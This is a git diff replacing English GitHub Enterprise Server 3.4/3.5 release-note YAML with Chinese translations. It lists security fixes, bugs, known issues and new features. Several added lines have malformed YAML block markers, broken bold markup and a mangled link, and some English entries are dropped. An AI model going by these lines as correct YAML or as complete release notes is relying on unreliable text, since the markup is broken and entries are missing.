自变量)。这一要求可以避免将数据中心成员设置为“默认”导致工作负载跨多个数据中心未合理平衡的情况。" known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - | - After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. - - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed. + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - |在多个级别(例如,企业和组织)使用 `--ephemeral` 参数注册自承载运行器后,运行器可能会陷入空闲状态并需要重新注册。 + +| + - "升级到 {% data variables.product.prodname_ghe_server %} 3.4 后,存储库中似乎缺少版本。当所需的 Elasticsearch 索引迁移未成功完成时,可能会发生这种情况。" - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' - - | - GitHub Pages builds may time out on instances in AWS that are configured for high availability. [Updated: 2022-11-28] \ No newline at end of file diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-4/6.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-4/6.yml index bcdc224489..ad94000332 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-4/6.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-4/6.yml @@ -1,36 +1,34 @@ date: '2022-07-21' sections: security_fixes: - - "**MEDIUM**: Prevents an attack where a server-side request forgery (SSRF) could potentially force the Subversion (SVN) bridge to execute remote code by injecting arbitrary data into Memcached." - - "**MEDIUM**: Prevents an attacker from executing Javascript code by exploiting a cross-site scripting (XSS) vulnerability in dropdown UI elements within the GitHub Enterprise Server web interface." - - Updates Grafana to version 7.5.16, which addresses various security vulnerabilities including [CVE-2020-13379](https://github.com/advisories/GHSA-wc9w-wvq2-ffm9) and [CVE-2022-21702](https://github.com/grafana/grafana/security/advisories/GHSA-xc3p-28hw-q24g). - - Packages have been updated to the latest security versions. - - "**MEDIUM**: A stored XSS vulnerability was identified in GitHub Enterprise Server that allowed the injection of arbitrary attributes. This injection was blocked by Github's Content Security Policy (CSP). This vulnerability was reported via the GitHub Bug Bounty program and has been assigned [CVE-2022-23733](https://www.cve.org/CVERecord?id=CVE-2022-23733). [Updated: 2022-07-31]" - - "**MEDIUM**: A vulnerability involving deserialization of untrusted data was identified in GitHub Enterprise Server that could potentially lead to remote code execution on the Subversion (SVN) bridge. To exploit this vulnerability, an attacker would need to gain access via a server-side request forgery (SSRF) that would let an attacker control the data being deserialized. This vulnerability was reported via the GitHub Bug Bounty program and has been assigned [CVE-2022-23734](https://www.cve.org/CVERecord?id=CVE-2022-23734)." + - "中****:防止服务器端请求伪造 (SSRF) 可能通过向 Memcached 注入任意数据来强制 Subversion (SVN) 桥执行远程代码的攻击。" + - "中****:通过利用 GitHub Enterprise Server Web 界面中下拉 UI 元素中的跨站脚本 (XSS) 漏洞来防止攻击者执行 Javascript 代码。" + - "将 Grafana 更新到版本 7.5.16,这样可以解决各种安全漏洞,包括 [CVE-2020-13379](https://github.com/advisories/GHSA-wc9w-wvq2-ffm9) 和 [CVE-2022-21702](https://github.com/grafana/grafana/security/advisories/GHSA-xc3p-28hw-q24g)。" + - 包已更新到最新的安全版本。 + - "中****:在 GitHub Enterprise Server 中发现了一个存储型 XSS 漏洞,该漏洞允许注入任意属性。此注入被 Github 内容安全策略 (CSP) 阻止。此漏洞通过 GitHub Bug 赏金计划报告,已分配 [CVE-2022-23733](https://www.cve.org/CVERecord?id=CVE-2022-23733)。[更新时间:2022-07-31]" bugs: - - In some cases, the collectd daemon could consume excess memory. - - In some cases, backups of rotated log files could accumulate and consume excess storage. - - After an upgrade to a new feature release and subsequent configuration run, Elasticsearch could log excessive exceptions while rebuilding indices. - - In some cases where a protected branch required more than one approving review, a pull request could be merged with fewer than the required number of approving reviews. - - On instances using LDAP authentication, the authentication prompt for sudo mode incorrectly placed the cursor within the password field by default when text fields for both a username and password were visible. - - In some cases, scheduled GitHub Actions workflows could become disabled. - - The Billing API's "[Get GitHub Advanced Security active committers for an organization](/rest/billing#get-github-advanced-security-active-committers-for-an-organization)" endpoint now returns `Link` headers to provide information about pagination. - - The Billing API's "[Get GitHub Advanced Security active committers for an organization](/rest/billing#get-github-advanced-security-active-committers-for-an-organization)" endpoint now returns the correct number of total committers. + - 在某些情况下,collectd 守护进程可能会消耗过多内存。 + - 在某些情况下,旋转日志文件备份可能会累积并消耗过多存储。 + - 在升级到新功能版本并运行后续配置之后,Elasticsearch 可能在重新生成索引时记录过多异常。 + - 在某些情况下,受保护的分支需要多个批准的审查,一个拉取请求可以合并少于所需数量的批准审查。 + - 在使用 LDAP 身份验证的实例中,当用户名和密码的文本字段都可见时,sudo 模式的身份验证提示在默认情况下将光标错误地放置在密码字段中。 + - 在某些情况下,计划的 GitHub Actions 工作流可能会被禁用。 + - "账单 API 的“[获取组织的 GitHub 高级安全性活动提交者](/rest/billing#get-github-advanced-security-active-committers-for-an-organization)”终结点现在返回 `Link` 标头以提供有关分页的信息。" + - "账单 API 的“[获取组织的 GitHub 高级安全性活动提交者]((/rest/billing#get-github-advanced-security-active-committers-for-an-organization)”终结点现在返回正确数量的总提交者。" changes: - - The `ghe-set-password` command-line utility starts required services automatically when the instance is booted in recovery mode. - - Metrics for `aqueduct` background processes are gathered for Collectd forwarding and display in the Management Console. - - The location of the database migration and configuration run log, `/data/user/common/ghe-config.log`, is now displayed on the page that details a migration in progress. + - "`ghe-set-password` 命令行实用程序在以恢复模式启动实例时自动启动所需的服务。" + - 将收集 `aqueduct` 后台进程指标进行 Collectd 转发并显示在管理控制台中。 + - 数据库迁移和配置运行日志 `/data/user/common/ghe-config.log` 的位置现在显示在详细描述正在进行的迁移的页面上。 known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - | - After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] - - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed. + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 Blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - |在多个级别(例如,企业和组织)使用 `--ephemeral` 参数注册自承载运行器后,运行器可能会陷入空闲状态并需要重新注册。[更新时间:2022-06-17] + +| + - "升级到 {% data variables.product.prodname_ghe_server %} 3.4 后,存储库中似乎缺少版本。当所需的 Elasticsearch 索引迁移未成功完成时,可能会发生这种情况。" - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' - - | - GitHub Pages builds may time out on instances in AWS that are configured for high availability. [Updated: 2022-11-28] \ No newline at end of file diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-4/7.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-4/7.yml index 917dd84bfa..beafff525e 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-4/7.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-4/7.yml @@ -1,28 +1,29 @@ date: '2022-08-11' sections: security_fixes: - - | - **CRITICAL**: GitHub Enterprise Server's Elasticsearch container used a version of OpenJDK 8 that was vulnerable to an integer truncation issue when processing malicious XSLT stylesheets. The vulnerability is tracked as [CVE-2022-34169](https://github.com/advisories/GHSA-9339-86wc-4qgf). - - | - **HIGH**: Previously installed apps on user accounts were automatically granted permission to access an organization on scoped access tokens after the user account was transformed into an organization account. This vulnerability was reported via the [GitHub Bug Bounty program](https://bounty.github.com). + - |严重****:GitHub Enterprise Server 的 Elasticsearch 容器使用的 OpenJDK 8 版本在处理恶意 XSLT 样式表时容易出现整数截断问题。该漏洞的编号为 [CVE-2022-34169](https://github.com/advisories/GHSA-9339-86wc-4qgf)。 + +| + - |高****:在用户帐户转换为组织帐户后,用户帐户上以前安装的应用程序会自动获得访问作用域内访问令牌上的组织的权限。此漏洞是通过 [GitHub Bug 赏金计划](https://bounty.github.com)报告的。 + +| bugs: - - In some cases, GitHub Enterprise Server instances on AWS that used the `r4.4xlarge` instance type would fail to boot. - - When calculating committers for GitHub Advanced Security, it was not possible to specify individual repositories. For more information, see "[Site admin dashboard](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-committers)." - - When a custom dormancy threshold was set for the instance, suspending all dormant users did not reliably respect the threshold. For more information about dormancy, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)." + - 在某些情况下,AWS 上使用 `r4.4xlarge` 实例类型的 GitHub Enterprise Server 实例将无法启动。 + - "在为 GitHub Advanced Security 计算提交者时,无法指定各个存储库。有关详细信息,请参阅“[网站管理员仪表板](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-committers)”。" + - "当为实例设置自定义休眠阈值时,暂停所有休眠用户并不能可靠地遵从阈值。有关休眠的详细信息,请参阅“[管理休眠用户](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)”。" changes: - - '`pre_receive_hook.rejected_push` events were not displayed in the enterprise audit log.' - - Both migration archives for repositories and archive exports for user accounts include release reactions. + - '`pre_receive_hook.rejected_push` 事件未显示在企业审核日志中。' + - 存储库迁移存档和用户帐户存档导出都包括发布反应。 known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - | - After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] - - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed. + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在以后解决现有性能问题后恢复返回这个值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - |在多个级别(例如,企业和组织)使用 `--ephemeral` 参数注册自承载运行器后,运行器可能会陷入空闲状态并需要重新注册。[更新时间:2022-06-17] + +| + - "升级到 {% data variables.product.prodname_ghe_server %} 3.4 后,存储库中似乎缺少版本。当所需的 Elasticsearch 索引迁移未成功完成时,可能会发生这种情况。" - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' - - | - GitHub Pages builds may time out on instances in AWS that are configured for high availability. [Updated: 2022-11-28] \ No newline at end of file diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-4/8.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-4/8.yml index b56183ab9c..52366e3551 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-4/8.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-4/8.yml @@ -1,28 +1,27 @@ date: '2022-08-30' sections: bugs: - - After unlocking a repository for temporary access, a site administrator was unable to manage settings for security products in the repository. - - Duplicate administrative SSH keys could appear in both the Management Console and the `/home/admin/.ssh/authorized_keys` file. - - The site admin page for individual users at http(s)://HOSTNAME/stafftools/users/USERNAME/admin contained functionality not intended for GitHub Enterprise Server. - - In some cases, running `ghe-cluster-config-apply` could replicate an empty configuration to existing nodes in a cluster. - - In some cases, configuration runs started with `ghe-config-apply` did not complete, or returned a `Container count mismatch` error. - - After updating a self-signed TLS certificate on a GitHub Enterprise Server instance, UI elements on some pages in the web interface did not appear. - - In some cases, background tasks could stall due to a library that was used concurrently despite not being thread-safe. + - 解锁存储库以进行临时访问后,站点管理员无法管理存储库中安全产品的设置。 + - 管理控制台和 `/home/admin/.ssh/authorized_keys` 文件中可能会出现重复的管理 SSH 密钥。 + - "http(s)://HOSTNAME/stafftools/users/USERNAME/admin 的个人用户的站点管理员页面包含不适用于 GitHub Enterprise Server 的功能。" + - 在某些情况下,运行 `ghe-cluster-config-apply` 可以将空配置复制到群集中的现有节点。 + - 在某些情况下,以 `ghe-config-apply` 开始的配置运行未完成,或返回了 `Container count mismatch` 错误。 + - 在 GitHub Enterprise Server 实例上更新自签名 TLS 证书后,Web 界面中某些页面上的 UI 元素没有显示。 + - 在某些情况下,尽管不是线程安全的,但由于同时使用的库,可能会导致后台任务停止。 changes: - - Generation of support bundles is faster as a result of parallelized log sanitization. For more information about support bundles, see "[Providing data to GitHub Support](/support/contacting-github-support/providing-data-to-github-support)." - - APIs that contain the `organization` or `org` route now accept either the organization's slug or ID. Previously, the APIs only accepted slugs, which caused `Link` headers for GitHub Advanced Security endpoints to be inaccessible. For more information, see "[Organizations](https://docs.github.com/rest/orgs/orgs)" in the REST API documentation. - - The enterprise audit log now includes more user-generated events, such as `project.create`. The REST API also returns additional user-generated events, such as `repo.create`. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)" and "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise#querying-the-audit-log-rest-api)." + - "由于并行日志清理,支持包的生成速度更快。有关支持包的详细信息,请参阅“[将数据提供给 GitHub 支持](/support/contacting-github-support/providing-data-to-github-support)”。" + - "包含 `organization` 或 `org` 路由的 API 现在接受组织的 slug 或 ID。以前,API 只接受 slug,这导致 GitHub Advanced Security 终结点的 `Link` 标头无法访问。有关详细信息,请参阅 REST API 文档中的“[组织](https://docs.github.com/rest/orgs/orgs)”。" + - "企业审核日志现在包含更多用户生成的事件,例如 `project.create`。REST API 还返回其他用户生成的事件,例如 `repo.create`。有关详细信息,请参阅“[访问企业的审核日志](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for -your-enterprise)”和“[使用企业的审核日志 API](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit- log-api-for-your-enterprise#querying-the-audit-log-rest-api)”。" known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - | - After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] - - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed. + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - |在多个级别(例如,企业和组织)使用 `--ephemeral` 参数注册自承载运行器后,运行器可能会陷入空闲状态并需要重新注册。[更新时间:2022-06-17] + +| + - "升级到 {% data variables.product.prodname_ghe_server %} 3.4 后,存储库中似乎缺少版本。当所需的 Elasticsearch 索引迁移未成功完成时,可能会发生这种情况。" - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' - - | - GitHub Pages builds may time out on instances in AWS that are configured for high availability. [Updated: 2022-11-28] \ No newline at end of file diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-5/0-rc1.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-5/0-rc1.yml index 527354bda7..f5a06b03d3 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-5/0-rc1.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-5/0-rc1.yml @@ -3,419 +3,495 @@ release_candidate: true deprecated: true intro: | {% note %} - - **Note:** If {% data variables.location.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. We recommend only running release candidates on test environments. - + + 注意:如果 {% data variables.product.product_location %} 正在运行候选发布版本,则无法使用热补丁升级。****建议仅在测试环境中运行候选发布版本。 + {% endnote %} - - For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)." + + 有关升级说明,请参阅“[升级 {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)”。 sections: features: - - heading: IP exception list for validation testing after maintenance + - heading: 用于在维护后验证测试的 IP 例外列表 notes: # https://github.com/github/releases/issues/2109 - - | - You can now configure an allow list of IP addresses that can access application services on your GitHub Enterprise Server instance while maintenance mode is enabled. Administrators who visit the instance's web interface from an allowed IP address can validate the instance's functionality post-maintenance and before disabling maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode#validating-changes-in-maintenance-mode-using-the-ip-exception-list)." + - |现在,你可以在启用维护模式的情况下,配置可以访问 GitHub Enterprise Server 实例上应用程序服务的 IP 地址允许列表。从允许 IP 地址访问实例的 Web 界面的管理员可以在维护后和禁用维护模式之前验证实例的功能。有关详细信息,请参阅“[启用和调度维护模式](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode#validating-changes-in-maintenance-mode-using-the-ip-exception-list)”。 - - heading: Custom repository roles are generally available +| + - heading: 通常可以使用自定义存储库角色 notes: # https://github.com/github/releases/issues/1945 - - | - With custom repository roles, organizations now have more granular control over the repository access permissions they can grant to users. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." + - |通过自定义存储库角色,组织现在可以对授予用户的存储库访问权限进行更精细的控制。有关详细信息,请参阅“[管理组织的自定义存储库角色](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)”。 - A custom repository role is created by an organization owner, and is available across all repositories in that organization. Each role can be given a custom name, and a description. It can be configured from a set of over 40 fine grained permissions. Once created, repository admins can assign a custom role to any user, team or outside collaborator in their repository. - Custom repository roles can be created, viewed, edited and deleted via the new **Repository roles** tab in an organization's settings. A maximum of 3 custom roles can be created within an organization. - Custom repository roles are also fully supported in the GitHub Enterprise Server REST APIs. The Organizations API can be used to list all custom repository roles in an organization, and the existing APIs for granting repository access to individuals and teams have been extended to support custom repository roles. For more information, see "[Organizations](/rest/reference/orgs#list-custom-repository-roles-in-an-organization)" in the REST API documentation. +自定义存储库角色由组织所有者创建,并可跨该组织中的所有存储库使用。每个角色都可以指定自定义名称和说明。可以从一组超过 40 个细粒度权限对其进行配置。创建角色后,存储库管理员可以将自定义角色分配给存储库中的任何用户、团队或外部协作者。 - - heading: GitHub Container registry in public beta + + +通过组织设置中的新**“存储库角色”**选项卡,可以创建、查看、编辑和删除自定义存储库角色。最多可在组织中创建 3 个自定义角色。 + + + +自定义存储库角色在 GitHub Enterprise Server REST API 中也完全受支持。组织 API 可用于列出组织中的所有自定义存储库角色,并且已扩展了向个人和团队授予存储库访问权限的现有 API,以支持自定义存储库角色。有关详细信息,请参阅 REST API 文档中的“[组织](/rest/reference/orgs#list-custom-repository-roles-in-an-organization)”。 + +| + - heading: 公共 beta 版本中的 GitHub 容器注册表 notes: # https://github.com/github/releases/issues/2005 - - | - The GitHub Container registry (GHCR) is now available in GitHub Enterprise Server 3.5 as a public beta, offering developers the ability to publish, download, and manage containers. GitHub Packages container support implements the OCI standards for hosting Docker images. For more information, see "[GitHub Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." - - - heading: Dependabot updates are generally available + - |GitHub 容器注册表 (GHCR) 现在 GitHub Enterprise Server 3.5 中作为公共 beta 版本提供,为开发人员提供了发布、下载和管理容器的能力。GitHub Packages 容器支持实现托管 Docker 映像的 OCI 标准。有关详细信息,请参阅“[GitHub 容器注册表](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)”。 + +| + - heading: Dependabot 更新已正式发布。 notes: # https://github.com/github/releases/issues/2089 - - | - Dependabot version and security updates are now generally available in GitHub Enterprise Server 3.5. All the popular ecosystems and features that work on GitHub.com repositories now can be set up on your GitHub Enterprise Server instance. Dependabot on GitHub Enterprise Server requires GitHub Actions and a pool of self-hosted Dependabot runners, GitHub Connect enabled, and Dependabot enabled by an admin. For more information, see "[Setting up Dependabot updates](https://docs.github.com/en/enterprise-server@3.5/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)." + - |Dependabot 版本和安全更新现在 GitHub Enterprise Server 3.5 中正式发布。所有在 GitHub.com 存储库上运行的热门生态系统和功能现在可以在 GitHub Enterprise Server 实例上设置。GitHub Enterprise Server 上的 Dependabot 需要 GitHub Actions 和自承载 Dependabot 运行器池,启用 GitHub Connect,并由管理员启用 Dependabot。有关详细信息,请参阅“[设置 Dependabot 更新](https://docs.github.com/en/enterprise-server@3.5/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)”。 - - - - heading: Server Statistics in public beta +| + - heading: 公共 beta 版中的服务器统计信息 notes: # https://github.com/github/releases/issues/2183 - - | - You can now analyze how your team works, understand the value you get from GitHub Enterprise Server, and help us improve our products by reviewing your instance's usage data and sharing this aggregate data with GitHub. You can use your own tools to analyze your usage over time by downloading your data in a CSV or JSON file or by accessing it using the REST API. To see the list of aggregate metrics collected, see "[About Server Statistics](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics#server-statistics-data-collected)." Server Statistics data includes no personal data nor GitHub content, such as code, issues, comments, or pull requests content. For a better understanding of how we store and secure Server Statistics data, see "[GitHub Security](https://github.com/security)." For more information about Server Statistics, see "[Analyzing how your team works with Server Statistics](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics)." This feature is available in public beta. + - |现在可以分析团队的工作方式,了解你从 GitHub Enterprise Server 中获得的价值,并通过审查实例的使用情况数据和与 GitHub 共享这些聚合数据来帮助我们改进产品。通以 CSV 或 JSON 文件形式下载数据,或者使用 REST API 访问数据,你可以使用自己的工具来分析一段时间的使用情况。要查看收集的聚合指标列表,请参阅“[关于服务器统计信息](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics#server-statistics-data-collected)”。 服务器统计数据不包括个人数据或 GitHub 内容,如代码、问题、评论或拉取请求内容。 若要更好地了解如何存储和保护服务器统计信息数据,请参阅“[GitHub 安全性](https://github.com/security)”。 有关服务器统计信息的详细信息,请参阅“[分析团队如何使用服务器统计信息](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics)”。 此功能目前以公共 beta 版本提供。 - - heading: GitHub Actions rate limiting is now configurable +| + - heading: GitHub Actions 速率限制现可配置 notes: # https://github.com/github/releases/issues/2123 - - | - Site administrators can now enable and configure a rate limit for GitHub Actions. By default, the rate limit is disabled. When workflow jobs cannot immediately be assigned to an available runner, they will wait in a queue until a runner is available. However, if GitHub Actions experiences a sustained high load, the queue can back up faster than it can drain and the performance of the GitHub Enterprise Server instance may degrade. To avoid this, an administrator can configure a rate limit. When the rate limit is exceeded, additional workflow runs will fail immediately rather than being put in the queue. Once the rate has stabilized below the threshold, new runs can be queued again. For more information, see "[Configuring rate limits](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-rate-limits-for-github-actions)." + - |站点管理员现在可以为 GitHub Actions 启用和配置速率限制。默认情况下,速率限制处于禁用状态。如果工作流作业不能立即分配给可用的运行器,那么它们将在队列中等待,直到运行器可用。然而,如果 GitHub Actions 遇到持续高负载,队列的备份速度可能比它的耗尽速度要快,并且 GitHub Enterprise Server 实例的性能可能会下降。为了避免这种情况,管理员可以配置速率限制。当超过速率限制时,额外的工作流运行将立即失败,而不是放入队列中。一旦速率稳定在阈值以下,新运行可以再次排队。有关详细信息,请参阅“[配置速率限制](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-rate-limits-for-github-actions)”。 - - heading: OpenID Connect (OIDC) for secure deployments with GitHub Actions +| + - heading: OpenID Connect (OIDC) 用于 GitHub Actions 的安全部署 notes: # https://github.com/github/releases/issues/2066 - - | - GitHub Actions on GitHub Enterprise Server now supports OIDC for secure deployments to cloud providers, which uses short-lived tokens that are automatically rotated for each deployment. OIDC enables the following functionality. + - |GitHub Enterprise Server 上的 GitHub Actions 现支持 OIDC,以安全部署到云提供商,它使用为每次部署自动轮换的短期令牌。OIDC 支持以下功能。 - - Seamless authentication between cloud providers and GitHub Enterprise Server without the need for storing 